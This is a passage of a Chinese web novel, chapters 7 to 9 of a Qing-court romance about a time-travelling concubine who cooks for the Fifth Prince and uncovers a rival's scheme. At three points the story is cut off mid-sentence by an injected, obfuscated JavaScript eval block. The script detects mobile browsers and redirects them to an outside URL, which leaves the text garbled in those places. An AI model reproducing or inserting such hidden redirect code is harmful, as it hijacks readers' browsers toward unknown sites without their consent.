瞧她没什么反应,小全子像一拳打到了棉花上,方才被木刺划破的伤口还在隐隐作痛,主子都这般无所谓,他做下人的还能如何,只好默默闭了嘴,乖乖领了这活计。 春芽伺候刘菽圆最久,她的性子多少能猜到几分,等小全子退下,屋里仅剩她们主仆二人,春芽这才把心中的猜想说了出来:“格格放任玉心不管,可是在等她自己犯错?” 没想到春芽这丫头还挺聪明。 刘菽圆眼神一亮,而后冲她嘘了一声,春芽立刻知趣地住了口。 吃了不少东西,她有些犯迷糊:“现在什么时辰了?” “未时刚过。” “我再睡会儿,申时叫我。”刘菽圆说完便卸下拆鬟,脱去外衣躺在了床榻上,她今早醒得早,现在是真的困得睁不开眼。 临睡前又想起一事,她叫来春芽,嘱咐道:“小全子的手受伤了,记得给他擦点药。” * 四月初八是释迦牟尼的诞辰,也称作“浴佛节。” 康熙后宫有不少人是信佛的,如太后、荣妃、宣妃,都在自己宫里设有佛堂,每日礼佛念经。这一天的祭祀也十分隆重,宫里如今地位最高的妃嫔是惠妃和宜妃,康熙一早就将协理六宫之权给了惠妃,宜妃从旁协助。 浴佛节的流程与往常一样,在佛堂供奉酥油花和其他供品,当天再用香汤沐浴佛像,还要请高僧入宫带领众人诵经,祈求皇室安康。 前朝也有相应的仪式,康熙会带领众皇子亲赴皇家寺庙礼佛祭祀,将抄写的佛经供奉在佛像面前,太子作为储君,忙于前朝事务,康熙便把这次浴佛节的任务交给了三阿哥、四阿哥和五阿哥。 三人中虽然三阿哥胤祉最年长,已经十八了,但四阿哥胤禛却是身份最贵重的,五阿哥胤祺年岁最小,又生性低调,便只当是帮忙打杂的,因此,实际上负责人还是四阿哥。 忙了整整一日,胤祺终是在酉时末回了院里。 沐浴后,胤祺换了身干净衣服,一天奔波下来,此刻他竟觉得腹中空空,有些饥饿。 这可把李德禄高兴坏了,连忙上前:“爷,奴才这就给您传膳去,您看是单独传膳,还是去马格格那边,绛水院一直在等您过去用膳呢。” “不用。”胤祺打断了他,脑海中突然闪过一个小姑娘的背影,“去青芜院。” 7. 第 7 章 第七章 望着正襟危坐、捧着卷书读得全神贯注的老五胤祺,刘菽圆表示很懵。 这哥们儿和怕女人似的,自纳了两位侍妾,除了头几日在她们院里歇过,那可是好长时间都不见人影,用膳都不肯多留…… 细细算起来,胤祺好像真的没有在她这儿用过膳啊。 难道真有什么隐疾? 刘菽圆大着胆子抬头瞄了一眼,胤祺一身石青色长袍,袖口滚着素色边,腰间左挂荷包,右侧坠着一块上好的羊脂白玉。十七岁的年纪早已褪下稚嫩,俨然一副大人模样,可挡不住的意气风发,眼睛是内双,睫毛却长得像两把小扇子,鼻梁高耸,唇瓣上薄下厚,五官分明,凑在一起更显得俊朗。 皮肤白皙,气质矜贵出众,还挺好看。 “奴婢让小全子去传晚膳,五爷想用些什么?”刘菽圆自己也饿,在一旁侍候了半天,站得腿都抽筋了。 胤祺看书十分专注,被打断了也不恼,只轻描淡写了一句:“都行,你吃什么我便吃什么。” 让她决定? 当过社畜的人都知道,这词和“随便”“我不挑”没两样,大有深意,往往意味着做什么都会被挑刺!要真是这样还不如直接挑刺,省了她费心思的时间。 “我的膳食没什么特别的,不过是普通的清粥小菜罢了,五爷白日辛劳,又要读书,又要练习骑射,这些菜式略素了些吧……” 他一个一米八的大高个儿,白天费那么多脑细胞背书,还做那么久的体育训练,晚上不应该吃肉补补?她这可只有白菜豆腐,肯定吃不饱,不好吃。 言外之意是——快去别处吧。 可胤祺却完全没有听懂。 她说话时眼睛扑闪扑闪的,像围场中偷偷吃草的小鹿,胤祺去年跟着康熙去木兰围场,追着只狍子走了一条偏僻的小道,趁它不备拉弓举箭,正准备射时,狍子警觉地来回张望,竟在他眼皮下溜走了,随即一头小鹿映入眼帘,不知是不怕生人还是笃定胤祺不会伤害它,视若无睹地吃着小草,胤祺就这般举着弓箭,看了它半晌,愣是没有射出去。 不然,那次也不会因为射的都是兔子而被胤禔他们笑话好几日了。 晚膳刘菽圆点的是她最近常吃的几个菜。 清蒸鱼、白灼虾、紫菜蛋花汤、清炒时蔬、凉拌黄瓜,配着杂粮饭和几块红薯…… 肉菜几乎没放什么调料,素菜也只撒了点盐,完全凸显食物本来的味道! 这膳端到两人面前时,刘菽圆能明显的察觉到旁边这人愣了一下。 也难怪,谁让她白天胡吃海塞,各式点心,猪油的奶制的都往肚里塞,腰都胖了一圈,内务府新裁的衣裳都穿不下了。 五爷整日殚精竭虑,人越发清瘦,她一个侍妾反而日渐丰腴……实在不像话。 戴嬷嬷让她忌口,可这饭食也太寡淡了些,人生在世,不就图个吃喝二字吗?刚开始饿得她天天半夜出来找东西吃,要不都睡不着,想想也觉得可怜。 况且她觉得前两日这么吃明明瘦了不少,尖下巴都显出来了,怎么还不给吃啊…… “好像是瘦了。”胤祺主打一个鼓励,“顿顿让你吃这些菜是有点为难了。” “五爷。”既然大老板胤祺松了口,刘菽圆也试探地说,“我有个法子,能让这膳食变得好吃一点,五爷可想试试?” 胤祺本想拒绝,可瞥到刘菽圆眸底透出的星光,叫她不必麻烦的话怎么也说不出口了:“罢了,你且试试吧。” 刘菽圆方才传膳时,让周福海按她的方子做了份辣酱,还煎了两个鸡蛋。 她拿出个大碗,将杂粮饭一股脑儿倒进去,把豆芽、胡萝卜、各种绿叶菜按着种类围着米饭放到边缘,围成一圈,鸡蛋再盖在中间,最后火红的辣酱又盖在鸡蛋上面。 一旁的胤祺眼睛都看直了,他自小在宫里哪见过这种吃法,以前都是一口菜一口米,文文雅雅的,这全拌出来……还挺香的。 “这个辣椒就是看起来红,其实不怎么辣,吃不了辣的也能尝试。” 其实宫里向来是少做辣味的,一来宫里的主子身份尊贵,自幼养尊处优,口味更是精细,若一不留神惹得哪位主子肠胃不适,膳房可就摊上事儿了,二来这辣椒多是民间寻常人佐饭用的,主子们自命不凡,哪里看得上。 刘菽圆对此倒也理解,毕竟那些个头头请客吃饭也多以淮扬菜为主,看着大气,味道清鲜平和,既不出差错,也符合大部分人的口味,要是饭桌上来了一道正宗的麻婆豆腐…… 不敢想,那些外国人能不能欣赏得了花椒的麻香。 她这辣酱里放了磨细的辣椒面,糯米粉、白糖,还有大蒜、生姜、洋葱,其实就是照着韩式辣酱做的,但做不了完全一样,七八成还是有的。 “五爷,这个给你。” 刘菽圆递过一把勺子,示范了几下:“就把它们搅和在一起,拌匀就行,这是韩式拌饭的仪式感。” 话刚说完,她才猛然意识到自己竟指挥清朝的阿哥给她拌饭!她立马收回手,紧张地直笑:“奴婢开玩笑的,奴婢来就好,爷您看着便是。” 每粒米饭都吸满了酱汁,勺子每翻动一次,辣酱的咸甜辣香就一阵阵地往鼻子里钻,刘菽圆赶紧咽下口水,最后撒上海苔碎,也就是炸过的紫菜,再添点芝麻就大功告成了。 这拌饭其实尝不出什么辣味,反而每一口都有滑嫩的煎蛋、脆嫩的蔬菜和软糯的米饭,零星的白芝麻和酥脆的紫菜在齿尖碰撞,咬碎后更增添了几分口感。 “为何叫‘韩式拌饭’?”胤祺难得用完一整碗,对这名字颇为好奇。 刘菽圆当然不会说实话,毕竟人国家现在不叫那个名儿,总不能叫“朝鲜拌饭”吧?但朝鲜现在是清朝的藩属国,让清廷的阿哥吃个小国的饭,她的小命还要不要了? “因为……发明这个的人他是韩村的,整个村子都这么吃,所以就叫他‘韩式拌饭’了。” 听着这番回答,胤祺点了点头,并未追问,也没来第二碗,拿帕子擦了擦嘴,便小口喝起汤来,纵是如此,也叫贴身太监李德禄对这个侍妾格格刮目相看。 一旁的刘菽圆完全没注意他们的表情,吃得津津有味:“要是再放点肥牛和牛肉就更完美了。” “五爷近日在寺庙安排浴佛节的事由,不方便吃荤食。”李德禄冷不丁插了句。 刘菽圆一脸疑惑,心想自己想吃肉关他们什么事,面上却笑着说:“我就是说说,说说而已。” 许久没吃顿放纵餐,她一口气吃了三碗,但说是三碗,装饭的碗也只有一点点大,其实也没吃多少。 “爷要不要来点别的溜个缝儿?”刘菽圆期待地问,“我这里有黄油酥、素食饽饽、风干肉、咸奶茶… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221943|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”” 胤祺听着她挨个点算,哭笑不得:“你不知道这是爷命人给你送的?” 见对面小姑娘神情呆愣,胤祺还以为恶作剧得逞了,想起她上次做的甜口奶茶,让他惊愕了半天,于是在看到太后送来的蒙古奶茶后,胤祺突然想故意逗逗她,也不知道她喝到奶茶是咸味时会是什么表情,“咸奶茶好喝吗?” “蛮特别的。” 虽然第一口确实奇怪,配上炒米也还不错,但她还是习惯喝甜口的。 “你要是喜欢,我叫李德禄常送些给你。”胤祺平日在宁寿宫,太后恨不得将所有的吃食都塞进他嘴里,如今有人能替他分担一二,何乐而不为。 “如此……当然好啊,多谢五爷惦记我。” 刘菽圆干笑几声,吃了几口黄油酥,连盘里掉的渣碎都捡起来吃了,又让春芽把膳房刚才一并送来的点心端上了桌。 毕竟,现在不吃,被戴嬷嬷知道说不定都没机会了。 “五爷,膳房按新方子做的红豆糕,香甜软糯,还能吃到颗粒,您可有兴趣尝尝?” “红豆糕?” 刘菽圆点点头:“红豆糕味道好,奴婢和春芽她们都爱吃的不得了,只可惜马格格一吃就会起疹子,没有口福。” 说这话时,刘菽圆打心眼里很替她遗憾,红豆糕这么好吃,因为过敏吃不了,实在可惜。 幸好这辈子她依旧是对啥都不过敏的健康小体格,不然守着这么多好吃的,亏都亏死了。 想着她又咬了一大口,对面的胤祺却捏着手里那块浅红色的糕点,陷入了沉思。 那天打翻素锅后,他命李德禄去地上瞧过,地上除了瓷片,便是素锅里的豆腐、粉条、白菜什么的,但李德禄却在那几块瓷片下面找到了一些豆渣。 正是红豆糕! 今日之前,胤祺一直以为是爱吃的刘格格哪天传膳路上不小心丢到院子里,可刚刚与她用膳,胤祺却注意到,刘菽圆对食物有种天然的珍惜,碗里吃得干净不说,也不挑嘴、不浪费,仿佛每一粒粮食都有神明注视,半分不敢轻慢。 这一点,他很是敬佩。 自小太后便教导他节俭,可他身为阿哥,身份尊贵,身边无数的人侍候,他也拉不下脸来做这些事,何况总有人在旁多嘴,他有心也无力。 而像刘氏这样的人,绝不会浪费食物! 毕竟是半夜都要跑出去把剩下的米粥和地瓜吃干净的人。 可若不是刘菽圆,对红豆过敏的马佳氏会是幕后黑手吗? 他一直没细想马佳氏的背景,她端庄自持,颇有礼仪,又擅琴棋书画,显然是家中精心培养的,出自旗人世家,父亲还是正四品的佐领,配寻常宗室做福晋都够格,却甘愿给他做最低等的侍妾。 不免叫人怀疑其中的猫腻。 李德禄回禀过,那天只有青芜院领了红豆糕,这其中的弯弯绕绕无需多想,便能想清楚了。 只怕是有宫人手脚不干净……若真是如此便交给戴嬷嬷处置吧,他最近忙着祭祀之事,也无暇顾及。 倒是不知道这小姑娘喜不喜欢吃斋饭? 想到这儿,他看刘菽圆的眼神也柔和了几分。 “五爷?”刘菽圆招了招手,轻轻唤了一声。 胤祺目光温润,从她的侧脸移到眉眼,沉默许久才开口道:“天色已晚,早些安置吧。” 8. 第 8 章 第八章 四月初八,佛祖诞辰。 一大早,各宫的宫人便早早开始忙碌,后宫负责祭祀的是太后娘娘,延禧宫的惠妃纳喇氏,翊坤宫的宜妃郭络罗氏,领头的都是这宫里地位最高的娘娘,手底下的太监宫女更是不敢偷懒,个个铆足了劲,毕竟像今日这种大喜的吉日,也是一年难得领些喜钱赏赐的好机会,一向睡到日上三竿才起床的刘菽圆也被薅了起来。 这都从榻上坐到菱花镜前半刻多钟了,刘菽圆还僵在原地,像石头般一动不动。双眼困得根本睁不开,身上被重物压过一般哪哪都疼,昨夜两人折腾到半夜,后来她都不知道胤祺什么时候叫的水,只迷迷糊糊记得他捏着腰,在她脖颈处偷笑:“不用减了,现在就挺好。” 起身换旗装的时候,她连走路都发酸,两条腿像不听使唤似的,差点直接向前栽下去,得亏春芽激灵,一把将她捞了上来,不然她定要和大地来个亲密接触。 春芽憋着笑,跪在地上帮她揉了好久双腿,刘菽圆才缓过神,平时她也没什么机会出门,一个侍妾更没资格招待外客,她又懒便不怎么上妆,每天淡淡的擦一层粉,抹些口脂就足够了。 “格格快睁眼吧,都已经睡多了一个时辰,怎么还困成这样呢,五爷卯时未到就起身去找三爷、四爷汇合了,临走时让奴婢告诉格格,浴佛节今晚做了斋菜,让格格一同用呢。虽然都是素菜但都是御膳房专门调配人手筹备的,奴婢听小全子说好吃得紧呢。” 斋菜?好吃的斋菜? 刘菽圆一下醒神:“有啥好吃的?” 春芽无奈地叹了口气,她家格格好吃的性子连五爷都知道了。 “五爷知道格格醒来定会问起,特意让李公公派人送来了斋菜的菜单,有南海金莲、鼎湖上素、罗汉斋、金菇汤,还有斋面呢。” 听着菜名倒是不错,应该好吃。 刘菽圆抿了抿嘴唇,虽然晚上有口福,可现在也不能亏待了自己,尤其昨晚她那么辛苦,早膳必须吃好! 一想到这里,她就纳闷,昨天五爷也只吃了一小碗韩式拌饭,丑时三刻才差不多睡着,可他居然还起这么早? “难道真是铁打的?”刘菽圆悄悄嘀咕,更让她生气的是,胤祺瞧着清瘦,可身上不少肌肉,尤其那腰腹、后背、胳膊,手感可太好了,每天几个时辰的骑射是真没白练! “也不知道什么减肥方法居然这么厉害?还是说他就是天生惹人嫉妒的‘干吃不胖’体质?”刘菽圆一边盯着包子,一边自言自语,春芽都看呆了。 穿衣显瘦,脱衣有肉,嫉妒啊嫉妒。 刘菽圆含泪咬了一大口猪肉馅的包子,又用了一小碗鸡丝卤的银丝面,吃饱喝足才伸着懒腰坐到秋千上,闭目养神起来。 小全子从外院兴冲冲地跑进来,见主子眯着眼,便敛了神情冲春芽使了个眼色,招手将她唤了过来,两人附耳悄悄说了几句。 春芽脸色一变,侧头往正屋的方向瞥了一眼,解气地说:“她活该!自己不好好当差,心比天高,命比纸薄,心思总在旁处,也不用心伺候主子,以后谁敢要她?” 半梦半醒的刘菽圆,听到有人小声说话,缓缓睁开眼,摇摇晃晃走到小桌前饮了几口茉莉花茶提神:“春芽,怎么了?” 听到传唤,春芽赶着走了几步,小全子则远远地施了一礼便从廊道退下了。 “格格。”春芽慢慢回话,“玉心不知怎的惹了戴嬷嬷不快,被送回内务府了。” 此话一出,刘菽圆端茶的手都顿了一顿,要知道宫女被内务府送回一般都事出有因,除了年满二十五岁正常出宫,其余多半都没什么好事,或是宫女患病,怕过给主子,或是宫女触犯宫规,惹主子不喜,而且被遣回的宫人,想再分到好差事几乎是不可能的,更多的是发往辛者库为奴,做这宫里最卑贱的活计。 玉心虽然过分,时常不把她这个主子放在眼里,但宫里比她跋扈懒惰的下人不是没有,何况她伺候过孝懿皇后,在整个阿哥所里的宫人里,地位一向不低,究竟犯了什么错,竟严重到发回内务府呢? “格格,要不要去问问戴嬷嬷?”春芽试探着问,格格一向心善,对他们这些下人格外体恤,不仅分享美食,平日也很关心,按照格格的品性,好歹主仆一场,应该去问一句吧。 可刘菽圆却只当听了个笑话,听过即忘,淡淡吐出两个字:“不去。”又坐回秋千,踮起脚来回荡了起来。 刘菽圆虽不知内情,但她了解戴嬷嬷,玉心定是犯了错才会受到惩罚,她虽关爱下人,可也不是个傻的,与玉心的关系又说不上好,何必为了她这么一个不值当的人主动惹得一身骚呢。 “小全子哪儿去了?刚才还见他。” 春芽走到刘菽圆身后,轻轻地伸手推了起来:“小全子本来在院子跟前的耳房值守,玉心走了,格格这里伺候的人就少了一个,今日宫里事忙,内务府一时半会儿送不来新人,小全子就暂时代了玉心的差事,打扫咱们青芜院的院落,一会儿还得拿上牌子去领主子的赏赐。” 相比玉心,刘菽圆更看重真心待她的春芽和小全子:“他辛苦了,今儿天热,一会儿你给他送点花茶解渴,叫他别太累了,下午膳房送的是豌豆黄,按老规矩给他留一盘。” “格格心疼我们,奴婢真是命好,能遇到格格这样的主子,好羡慕小全子,有格格亲手制的花茶,还有豌豆黄吃,幸福死了。” 刘菽圆猜到这小丫头吃味了,故意逗她:“你又不爱吃豌豆黄,说什么酸话啊,明日做的可是茯苓糕,干巴巴的,也不知道谁喜欢吃,要不我让人还是换成豌豆黄?” “格格……”春芽撅起个小嘴,“您就知道欺负我。” 刘菽圆笑得眼泪直飞,她以前在公司时带过几个实习生小妹妹,其中有个年纪小的,一说话就脸红,她看着就好玩,总爱逗人家小姑娘,一来二去也和那小妹妹熟悉了,两人每天琢磨中午吃啥,直接晋升为饭搭子。后来小姑娘考研去了,搭子离了职,她每天上班都提不起劲,再后来她就被卷王领导逼疯了。 院子里空荡荡的,虽然扎着秋千,总觉得十分单调,她又出不去,不然无聊的时候也能逛逛传说中的宫斗圣地——御花园,说不定能与后宫娘娘来个偶遇,或者无意听到什么大秘密…… 算了,大秘密就算了,会被灭口的。 远远传来佛教雅乐,旋律肃穆庄严,刘菽圆安静地靠在秋千上合上双眼,鼓声沉稳,伴随着空灵的磬声,一派宁静祥和。 宜妃提前一日便沐浴更衣,此刻穿着绛红色吉服褂,下摆绣缠枝莲和宝相花,头戴点翠流苏的钿子,手持菩提子佛串,跟在惠妃身后。 两人先向佛像行三跪九叩大礼,然后站在一旁诵读《大悲咒》,太后娘娘作为后宫之主,手持银匙,舀取盆中水轻洒在佛像上,仪式过后将佛前供奉的“浴佛豆”和“芙蓉糕”分赐下去,剩下的仪式便是高僧们独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221944|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自诵经,两位后妃也终于得了空到宝华殿外说说话。 “这斋戒牌是一会儿摘,还是得等到今晚啊?”惠妃指着挂纽扣上的象牙牌问宜妃。 斋戒牌多为木制,是浴佛节的一种习俗,皇子、大臣均会佩戴。妃嫔们的斋戒牌多由和田玉或沉木做成各种样式,再雕刻各种吉祥图案。牌面由满汉文字书写“斋戒”二字,常常戴在胸前或腰间,是参与浴佛节的象征,也是给佩戴者的一种外在约束。 见她不答惠妃也不恼,摸了摸边上的累丝卷云纹,自顾自说了下去:“不过都从初一戴到这会儿了,也不在乎这一时半刻了。” 宜妃一贯和惠妃不和,多年来也只是面上过得去罢了,可大阿哥胤禔半年前在练武场上摔了她宝贝儿子胤禟,宜妃心疼极了,怎么可能给她好脸色? “内心有佛之人,就算不戴斋戒牌,也会规范自身,若是心中无佛,便是日日戴在胸口,也是故作姿态。” 惠妃的脸一下拉得老长,脸上风云变幻,若不是宜妃子嗣众多,她想拉拢宜妃给儿子胤禔助力,才不会主动和她搭话。 惠妃装作听不懂,压着气又说:“老五陪皇上在中正殿祭祀,仪式后皇上还得宴请蒙古王公,文武大臣,说起来,我也好久没见胤祺这孩子了。前几日听保清说胤祺课业刻苦,清减了许多,你作为额娘也得在这孩子身上多花些心思,不然消息要传到了宁寿宫,被太后知晓,怕是会不高兴的。” 宫里人都知道,宜妃的五阿哥自出生起就抱去了宁寿宫,母子俩多年来关系不和也是人尽皆知的事。在宫里,妃嫔的孩子就是额娘的倚仗,何况被抱走的还是宜妃第一个儿子,两人在宫里相处多年,她清楚这件事始终是宜妃心里的一根刺,拿它说事,必定能让宜妃心里不痛快。 谁让她先惹自己不痛快了呢。 果然,宜妃脸色大变,冷哼了一声侧过身来不再与她搭话。 另一边,前朝的祭祀已经结束,胤祺让胤祉和胤禛先行一步,自己则望着手里那一小盒的青豆,扬起了嘴角。 浴佛豆也叫结缘豆,就是放了点盐、八角、花椒煮熟了的青豆,没什么特别,取个结缘祈福的寓意而已,可胤祺听百姓说吃了浴佛豆能积攒运气,便想到了刘菽圆。 那个小姑娘这么爱吃东西,这裹了糖霜的浴佛豆,不如带回去给她尝尝,也算给她添点运气。 老三老四都是娶了福晋的人,一看老五这模样便心知肚明,两人感慨了半晌,又打趣了半晌,也不知道是什么样的女子能让温润的老五这般挂怀。 * 说好晚膳一起用,刘菽圆没想到的是马佳芸珞也在。 刘菽圆也有两天没见马佳芸珞了,今天她衣着素雅,可人看着没睡好的模样,提不起什么精神,除了给胤祺请安,和她客套了两句,便再也没开口说话了。 趁着下人们传菜摆膳的功夫,胤祺提起今日在宫外的一件趣事。 “民间有不少百姓在寺庙的放生池里放生,百姓不仅放鱼,还有放乌龟的,皇阿玛见状便想与民同乐,命侍卫将随身携带的金箔鲤鱼也投进湖中,听闻皇阿玛的圣驾还未离开,就有文人以此为诗,大肆宣扬呢。” 刘菽圆听得入了神,胤祺瞧她呆傻的样子,笑着说:“你不会又想吃鱼了吧?” “当然不是。”刘菽圆立刻反驳,胤祺这是真把她当吃货了? 她转过身,认认真真地沉思半晌:“我是想养鱼。” 9. 第 9 章 第九章 养鱼? 胤祺愣了愣,显然没预料到刘菽圆会这么回答,连一直装作透明人的马佳氏也忍不住用帕子掩住因震惊而张开的嘴。 “我是不能在阿哥所养鱼吗?”刘菽圆欲哭无泪,没听说清宫里有这禁忌啊。之前的公司都能容下她这条咸鱼,怎么到了宫里,反倒连鱼都不能养了? 胤祺“噗嗤”笑出声:“可以,只是你想好了吗?要不要养些别的,猫狗,或者鸟也挺好。”他那五妹妹就喜欢养点兔子,怎么这刘氏居然要养鱼? 刘菽圆婉拒,他说的这些倒不是不喜欢,但是吧,有一个共同点——会叫。 这就意味着,可能会很吵,严重影响她的睡觉时间。 “养鱼好啊,清静,而且可以陶冶情操,更重要的是寓意好——年年有余,多喜庆。”刘菽圆继续劝道,虽然宫里鱼不少,但都养在太液池、御花园里,她又出不去,根本瞧不见。 “既然你喜欢,就让李德禄给你寻几条养着玩吧。” 李德禄上前回道:“回五爷,宫里的鱼多是金鱼和锦鲤,格格想养鱼的话,不妨就选金鱼?奴才让广储司送些鱼食和水草,格格用小陶缸在青芜院养个六条,也不会坏了规矩。” “好啊好啊。” “不用惊动内务府了,从我的私库里出吧。”胤祺说完,也不厚此薄彼,看向一直静默无声的马佳氏,“你呢?可有想养的?内务府给皇玛嬷那儿送了几只葵花凤头鹦鹉,浑身雪白,姿态优雅,都能模仿太监声音说‘太后吉祥’,喜欢的话叫李德禄给你送几只。” “还会说话?”刘菽圆惊喜极了,“都说有的鹦鹉比人都聪明,有的品种连短句子都能说呢。” 就算如此,她还是喜欢养鱼。 “你喜欢清静,正好青芜院还缺个宫女伺候,回头去内务府给你挑个安静的,就专门负责给你照料鱼吧。” 晚膳的斋菜不愧是康熙亲赏的膳食,三菇六耳、瓜果蔬菇做的比现代许多百年老店和网红店都美味,尤其那道“南海金莲”,以豆腐为主,搭配其他食材做成了金色莲花的模样,色香味俱全,味道也好,她吃了不少呢。 沐浴后,刘菽圆本想服个软叫大老板知难而退,可胤祺却像听不懂似的,拉着她便进了卧房,夜里免不了一翻云雨,刘菽圆求饶了好久胤祺才肯放她躺下休息。 与青芜院的热闹相比,绛水院则安安静静的,堂屋外玳瑁蜷缩着身子,靠在墙边打着盹儿,马佳氏则睁着眼,没有半分困意。 第二次了,刘菽圆那贱人已经侍寝第二次了,胤祺却一次都没有在她这里过夜,叫她如何不恼?如何不恨? 阿玛在进宫前千叮咛万嘱咐,进宫后一定要争气,夺得主子宠爱,这样才能在宫里站稳脚跟,让家族青云直上,她运气不好跟了五阿哥,可她自降身份换来的也不是他的疼惜与珍爱。 “额娘你骗我。”想到母亲从小的教导,马佳氏眼角滑下一滴泪,“你明明说我是这世上最好的女子,定会赢得夫君恩宠。” 可丈夫偏宠他人,当着她的面与刘菽圆你一句我一句,完全不顾及她的感受,怎么?当她不存在吗? 马佳氏一整晚都没合眼,刘菽圆不过是个只知道吃的蠢物!凭什么能入了胤祺的眼。 她反复琢磨,究竟还有什么法子,还有什么办法能扭转局势,终于她想到了。 这个人熟悉五爷的一切,知晓他所有的喜好,也是她目前唯一能抓住的机会。 就是五爷的奶嬷嬷,戴嬷嬷。 为此,她特地带了亲手做的荷包,她打听过,戴嬷嬷最喜欢槐花,便耗费了一整晚的时间亲手绣了这荷包,就那槐花上的花蕊都是拿金线绣的。 可戴嬷嬷却没收。 “格格身份贵重,非池中之物,竟纡尊降贵给奴婢缝制东西,奴婢实在担待不起。”戴嬷嬷身子微微一侧,不动声色地避开,目光扫过那绣着槐花的荷包,心下一明,“再说奴婢已是半截身子入土的人,哪配得上用这等好东西?” 马佳氏脸上依旧带着温和的笑意:“嬷嬷这是说哪里的话?您是看着五爷长大的老人,五爷视您如长辈,芸珞自然也该敬着您,芸珞年纪小,不懂事,往后日子还望嬷嬷多多提点……”说着,悄悄将那荷包塞进了她手里。 戴嬷嬷神色微变,语气依旧不容置喙:“奴婢天生蠢笨,不会讨主子欢心,但太后娘娘却十分看重奴婢,格格可知为何? 马佳氏摇摇头:“还望嬷嬷明示。” “只听从主子吩咐,主子让做什么,奴婢就做什么,这便是奴婢做人的宗旨。”说完,戴嬷嬷话锋一转,抬眼望向马佳氏,将那荷包又塞回给她,“主子慈悲,赏几块素面饽饽,已是天大的恩典,哪里还敢奢求什么红豆、绿豆馅儿的呢?”” “马格格,您说呢?” 马佳氏忘不了离开时戴嬷嬷看她的那个眼神,凌厉冰冷,叫她回了绛水院还一身冷汗。 可额娘就是这么教的,那些下人个个见钱眼开,只要花点小钱就能叫他们为自己所用,她之前也一直是这么做的,从未失手,怎么戴嬷嬷却不上道? 难道是故意诈她?银子放少了吗? “格格睡不着吗?”听到纱帐里有声音,玳瑁赶忙上前问道,“可要喝点水?” 马佳氏没有回应,想到那天戴嬷嬷的神情,越想越觉得不对劲:“你说戴嬷嬷是不是猜到那天的事了?不然她好端端提什么饽饽啊?” 玳瑁摇了摇头:“不可能吧,红豆糕是玉心从膳房拿的,事后也让她全都拿走了,纸条奴婢当下就烧干净了,绝对不会留下痕迹。” “那玉心怎么突然被赶走了?”马佳氏提高了声音,“是刘菽圆,一定是她搞的鬼,她早就收买了戴嬷嬷为她所用,那碗芝麻糊,我在青芜院也见过,绝对是她!” 好一个刘菽圆,看着单纯,惯会拿捏人心,竟用吃食来绑人,之前还想用几口喝的拉拢她?原来是她一直小看了对手! 刘菽圆这边还纳闷绛水院最近好安静,没过几日,便从小全子的口中得知——马佳氏被罚了两个月份例,还禁足一个月。 “奴才听说,马格格悄悄去找了戴嬷嬷,两人也不知道说了什么,马格格回来时还哭丧个脸。”小全子猜测道,“肯定是触了戴嬷嬷的逆鳞,犯了忌讳。” 戴嬷嬷最讨厌耍小聪明,贿赂人的,只是罚个份例,想来也是想给她个机会,叫她重新来过吧。 “不过小全子……” 刘菽圆转头盯着嬉皮笑脸的小全子,“你怎么什么都知道!也太八卦了!” * 李德禄动作极快,第二日就将鱼缸、鱼食等物备齐了,刘菽圆最后挑了个青花瓷样式的鱼缸,里面放了些假山石和水草,还铺设了鹅卵石,十分好看。几条红金鱼瘦长瘦长的,很容易养活,适合刘菽圆这种初学者。 与鱼缸一起来的还有内务府新挑的宫女佩兰,年岁不大,瞅着壮实得很,既会养鱼浇花,还能帮忙搬重物,就是食量大了些,李德禄一听说这宫女爱吃,立马拍了板儿:“就她了!” 午后,刘菽圆让小全子去取茯苓糕,顺便问膳房要了碗米饭,临走时还神秘兮兮地列了一个清单,叫他按这内容领食材,周福海都好奇死了,和小全子确认了三遍:“真不用我动手?” “是的!”小全子笑眯眯道,“周爷爷您就按这单子准备,剩下的我们格格自己动手。” 主子要自己动手?周福海在膳房干了三十几年,除了锅子,烤肉,还没听过哪个菜要自己动手的啊。 “小全子,一个月的芝麻糊、豌豆黄管够,你偷偷告诉我,究竟是什么好东西?” 要知道,能让挑嘴不爱吃饭的五阿哥也主动传膳,这刘格格绝对有真材实料。 小全子十分为难:“周爷爷,实话同您说了,我也不知道,主子就让我这么准备,再说我这见识哪比得上您,您都不知其意,我哪晓得啊,要不等我回去瞧瞧,再告诉爷爷您,成吗?” “也行。”周福海一拍大腿,有他这话就妥了。 “那这芝麻糊和豌豆黄……” “滚吧你,小崽子,还敢和爷爷我耍起滑来了,你先说给我听,其他的再说!” 为了即将到来的美味,小全子一路走得飞快,回来时正好遇到了来传膳的太监江福。 江福是最低级的小太监,进宫也有两个年头了,差事一向马马虎虎,但他长得好,个子虽然不高,但眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221945|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 